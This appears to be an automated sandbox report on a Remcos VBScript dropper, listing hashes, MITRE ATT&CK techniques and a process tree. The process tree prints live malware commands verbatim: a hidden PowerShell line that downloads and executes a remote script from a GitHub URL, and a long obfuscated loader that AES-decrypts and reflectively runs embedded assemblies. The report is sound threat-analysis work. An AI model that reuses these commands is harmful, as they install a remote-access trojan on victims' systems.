23ca901cd7f4f0ca6b2a652c7467911756241a02e37ebf60c6c09c6224478622

General

Target

remcos.vbs
Size

563KB
MD5

f7c17bfb4247e64e22dd52540a4b903b
SHA1

368ba4d02df294fa42efee5e4f330d5e7260d0c3
SHA256

23ca901cd7f4f0ca6b2a652c7467911756241a02e37ebf60c6c09c6224478622
SHA512

5f79d697ba68f6d285d56b8f38587774eb95162be0af3080a14ea9e277b0b33e3c20c8ccd74c6dddcc06eff3aed36b2c5bb096a8b92101c6f27d2603dfb136a4
SSDEEP

12288:eQO27ODRJ7gfddv13rIJQ9HmFboRCuo52CDm09LghGmQ3DnIE2YgdhhC:eN27a7mMJQl2Ac4CDdg8mQPGhhC

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
3040	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid	Process
2692	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
3040	powershell.exe
2692	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.execmd.execmd.exe

description	pid	Process	procid_target
PID 2096 wrote to memory of 3040	2096	WScript.exe	31
PID 2096 wrote to memory of 3040	2096	WScript.exe	31
PID 2096 wrote to memory of 3040	2096	WScript.exe	31
PID 2096 wrote to memory of 2728	2096	WScript.exe	33
PID 2096 wrote to memory of 2728	2096	WScript.exe	33
PID 2096 wrote to memory of 2728	2096	WScript.exe	33
PID 2728 wrote to memory of 2628	2728	cmd.exe	35
PID 2728 wrote to memory of 2628	2728	cmd.exe	35
PID 2728 wrote to memory of 2628	2728	cmd.exe	35
PID 2628 wrote to memory of 2680	2628	cmd.exe	37
PID 2628 wrote to memory of 2680	2628	cmd.exe	37
PID 2628 wrote to memory of 2680	2628	cmd.exe	37
PID 2628 wrote to memory of 2692	2628	cmd.exe	38
PID 2628 wrote to memory of 2692	2628	cmd.exe	38
PID 2628 wrote to memory of 2692	2628	cmd.exe	38
PID 2628 wrote to memory of 2692	2628	cmd.exe	38

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\remcos.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri 'https://raw.githubusercontent.com/latencyx0/EmptyBuilder/refs/heads/main/remcos.ps1' -UseBasicParsing)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\n1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\n1.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\n1.bat';$QkEK='SplexkUitexkU'.Replace('exkU', ''),'CbUqOrbUqOeabUqOtebUqODecbUqOrbUqOybUqOpbUqOtorbUqO'.Replace('bUqO', ''),'MZgfwaiZgfwnMoZgfwdulZgfweZgfw'.Replace('Zgfw', ''),'FrbSRYomBbSRYasbSRYe6bSRY4StbSRYribSRYnbSRYgbSRY'.Replace('bSRY', ''),'DecaHWxomaHWxpraHWxesaHWxsaHWx'.Replace('aHWx', ''),'IMSwmnMSwmvoMSwmkMSwmeMSwm'.Replace('MSwm', ''),'CoHbycpyTHbycoHbyc'.Replace('Hbyc', ''),'GeBtWttCuBtWtrBtWtrBtWtenBtWttPrBtWtocBtWtessBtWt'.Replace('BtWt', ''),'EynVQntynVQrynVQyPoynVQintynVQ'.Replace('ynVQ', ''),'ChsWdlansWdlgesWdlEsWdlxsWdltesWdlnsWdlsisWdlosWdlnsWdl'.Replace('sWdl', ''),'LHcgboadHcgb'.Replace('Hcgb', ''),'RtuYueatuYudLtuYuituYunetuYustuYu'.Replace('tuYu', ''),'EleDFGgmeDFGgnDFGgtDFGgAtDFGg'.Replace('DFGg', ''),'ThSmVranhSmVsfhSmVormhSmVFihSmVnahSmVlBhSmVlohSmVckhSmV'.Replace('hSmV', '');powershell -w hidden;function zUhpG($Vgbyz){$emkHJ=[System.Security.Cryptography.Aes]::Create();$emkHJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$emkHJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$emkHJ.Key=[System.Convert]::($QkEK[3])('/Hfk3/0HindNj+4DXkevo5htFNrm49tWPnBdwypza2U=');$emkHJ.IV=[System.Convert]::($QkEK[3])('Tm3jafLgvfKY6mYPS/HLjQ==');$uFrFo=$emkHJ.($QkEK[1])();$ghdHz=$uFrFo.($QkEK[13])($Vgbyz,0,$Vgbyz.Length);$uFrFo.Dispose();$emkHJ.Dispose();$ghdHz;}function yGhYh($Vgbyz){$BiDCz=New-Object System.IO.MemoryStream(,$Vgbyz);$rDAyB=New-Object System.IO.MemoryStream;$gTfnb=New-Object System.IO.Compression.GZipStream($BiDCz,[IO.Compression.CompressionMode]::($QkEK[4]));$gTfnb.($QkEK[6])($rDAyB);$gTfnb.Dispose();$BiDCz.Dispose();$rDAyB.Dispose();$rDAyB.ToArray();}$GQdwM=[System.IO.File]::($QkEK[11])([Console]::Title);$asQpo=yGhYh (zUhpG ([Convert]::($QkEK[3])([System.Linq.Enumerable]::($QkEK[12])($GQdwM, 5).Substring(2))));$wqKmU=yGhYh (zUhpG ([Convert]::($QkEK[3])([System.Linq.Enumerable]::($QkEK[12])($GQdwM, 6).Substring(2))));[System.Reflection.Assembly]::($QkEK[10])([byte[]]$wqKmU).($QkEK[8]).($QkEK[5])($null,$null);[System.Reflection.Assembly]::($QkEK[10])([byte[]]$asQpo).($QkEK[8]).($QkEK[5])($null,$null); "
      4⤵
      PID:2680
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\n1.bat

Filesize
562KB

MD5
d1d99208a499e870e1e0a34a2cbba829

SHA1
85f7090ce76bdae0a07154b27117ec5ac9e9f673

SHA256
d302c8c72b06785d8d4af94a118856907e3775becb17253ba62ccd3ddc669879

SHA512
badea3d061cdfd1c7929be03d0c4c66eb5cab3091740f935d58a601a56f5be6c372c3ae48bef6ef759581a5c4244885de1c5c02247391bfca7aee5c1c62d7497

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1KXKH7S10596SZ5GLS6N.temp

Filesize
7KB

MD5
d85e846afd2fcf5dde2fbbeabbfff705

SHA1
0c52f9c7bca9203333e2cf2e6d26c252f8322dda

SHA256
6d477eb4b026c67a9c935713e33980cd13898e2685e888deaccf49add312b6c0

SHA512
b7fe93ced3a42641795915730d8e614acde8aa536efa42c90de34b52ab40c2f75260d4ad5f3ad7d081dc5b24030dc135754234cde38075261542de93ec4fef9d

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/3040-4-0x000007FEF62DE000-0x000007FEF62DF000-memory.dmp

Filesize
4KB

Download
memory/3040-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/3040-6-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/3040-7-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/3040-8-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/3040-9-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/3040-10-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/3040-11-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/3040-12-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads